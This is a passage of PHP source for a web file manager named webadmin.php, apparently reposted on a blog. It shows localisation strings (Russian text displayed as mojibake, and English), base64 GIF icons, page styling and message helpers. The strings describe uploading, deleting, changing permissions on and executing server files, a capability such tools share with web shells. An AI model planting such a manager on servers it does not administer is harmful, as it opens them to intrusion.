'relative' => 'ÏÔÎÏÓÉÔÅÌØÎÙÊ ÐÕÔØ Ë ÃÅÌÉ',

'yes' => 'ÄÁ',
'no' => 'ÎÅÔ',
'back' => 'ÎÁÚÁÄ',
'destination' => 'ÃÅÌØ',
'symlink' => 'ÓÉÍ×ÏÌÉÞÅÓËÉÊ ÌÉÎË',
'no_output' => 'ÎÅÔ ×Ù×ÏÄÁ',

'user' => 'ðÏÌØÚÏ×ÁÔÅÌØ',
'password' => 'ðÁÒÏÌØ',
'add' => 'ÄÏÂÁ×ÉÔØ',
'add_basic_auth' => 'äÏÂÁ×ÉÔØ HTTP-Basic-Auth',

'uploaded' => '"[%1]" ÂÙÌ ÚÁËÁÞÅÎ.',
'not_uploaded' => '"[%1]" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÚÁËÁÞÑÔØ.',
'already_exists' => '"[%1]" ÕÖÅ ÓÕÝÅÓÔ×ÕÅÔ.',
'created' => '"[%1]" ÂÙÌ ÓÄÅÌÁÎ.',
'not_created' => '"[%1]" ÎÅ ×ÏÚÍÏÖÎÏ ÓÄÅÌÁÔØ.',
'really_delete' => 'äÅÊÓÔ×ÉÔÅÌØÎÏ ÜÔÏÔ ÆÁÊÌ ÕÄÁÌÉÔØ?',
'deleted' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÂÙÌÉ ÕÄÁÌÅÎÙ:\n[%1]",
'not_deleted' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÕÄÁÌÉÔØ:\n[%1]",
'rename_file' => 'ðÅÒÅÉÍÅÎÏ×Ù×ÁÀ ÆÁÊÌ:',
'renamed' => '"[%1]" ÂÙÌ ÐÅÒÅÉÍÅÎÏ×ÁÎ ÎÁ "[%2]".',
'not_renamed' => '"[%1] ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÐÅÒÅÉÍÅÎÏ×ÁÔØ ÎÁ "[%2]".',
'move_files' => 'ðÅÒÅÄ×ÉÇÁÀ ÓÌÅÄÕÀÝÉÅ ÆÁÊÌÙ:',
'moved' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÂÙÌÉ ÐÅÒÅÄ×ÉÎÕÔÙ × ËÁÔÁÌÏÇ \"[%2]\":\n[%1]",
'not_moved' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÐÅÒÅÄ×ÉÎÕÔØ × ËÁÔÁÌÏÇ \"[%2]\":\n[%1]",
'copy_files' => 'ëÏÐÉÒÕÀ ÓÌÅÄÕÝÉÅ ÆÁÊÌÙ:',
'copied' => "óÌÅÄÕÝÉÅ ÆÁÊÌÙ ÂÙÌÙ ÓËÏÐÉÒÏ×ÁÎÙ × ËÁÔÁÌÏÇ \"[%2]\" :\n[%1]",
'not_copied' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓËÏÐÉÒÏ×ÁÔØ × ËÁÔÁÌÏÇ \"[%2]\" :\n[%1]",
'not_edited' => '"[%1]" ÎÅ ÍÏÖÅÔ ÂÙÔØ ÏÔÒÅÄÁËÔÉÒÏ×ÁÎ.',
'executed' => "\"[%1]\" ÂÙÌ ÕÓÐÅÛÎÏ ÉÓÐÏÌÎÅÎ:\n{%2}",
'not_executed' => "\"[%1]\" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÚÁÐÕÓÔÉÔØ ÎÁ ÉÓÐÏÌÎÅÎÉÅ:\n{%2}",
'saved' => '"[%1]" ÂÙÌ ÓÏÈÒÁÎÅÎ.',
'not_saved' => '"[%1]" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓÏÈÒÁÎÉÔØ.',
'symlinked' => 'óÉÍÌÉÎË Ó "[%2]" ÎÁ "[%1]" ÂÙÌ ÓÄÅÌÁÎ.',
'not_symlinked' => 'îÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓÄÅÌÁÔØ ÓÉÍÌÉÎË Ó "[%2]" ÎÁ "[%1]".',
'permission_for' => 'ðÒÁ×Á ÄÏÓÔÕÐÁ "[%1]":',
'permission_set' => 'ðÒÁ×Á ÄÏÓÔÕÐÁ "[%1]" ÂÙÌÉ ÉÚÍÅÎÅÎÙ ÎÁ [%2].',
'permission_not_set' => 'îÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÉÚÍÅÎÉÔØ ÐÒÁ×Á ÄÏÓÔÕÐÁ Ë "[%1]" ÎÁ [%2] .',
'not_readable' => '"[%1]" ÎÅ×ÏÚÍÏÖÎÏ ÐÒÏÞÉÔÁÔØ.'
        );

    case 'en':
    default:

        $date_format = 'n/j/y H:i:s';
        $word_charset = 'ISO-8859-1';

        return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',

'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',

'read' => 'read',
'write' => 'write',
'execute' => 'execute',

'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',

'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
        );

    }

}

function getimage ($image) {
    switch ($image) {
    case 'file':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
    case 'folder':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
    case 'hidden_file':
        return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
    case 'link':
        return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
    case 'smiley':
        return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
    case 'arrow':
        return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
    }
}

function html_header () {
    global $site_charset;

    echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />

<title>webadmin.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
    if (document && document.forms[0] && document.forms[0].elements['focus']) {
        document.forms[0].elements['focus'].value = name;
    }
}
//-->
</script>

</head>
<body>


END;

}

function html_footer () {

    echo <<<END
</body>
</html>
END;

}

function notice ($phrase) {
    global $cols;

    $args = func_get_args();
    array_shift($args);

    return '<tr id="notice">
    <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

function error ($phrase) {
    global $cols;

    $args = func_get_args();
    array_shift($args);

    return '<tr id="error">
    <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

?>




Subscribe to: Posts (Atom)
attendez....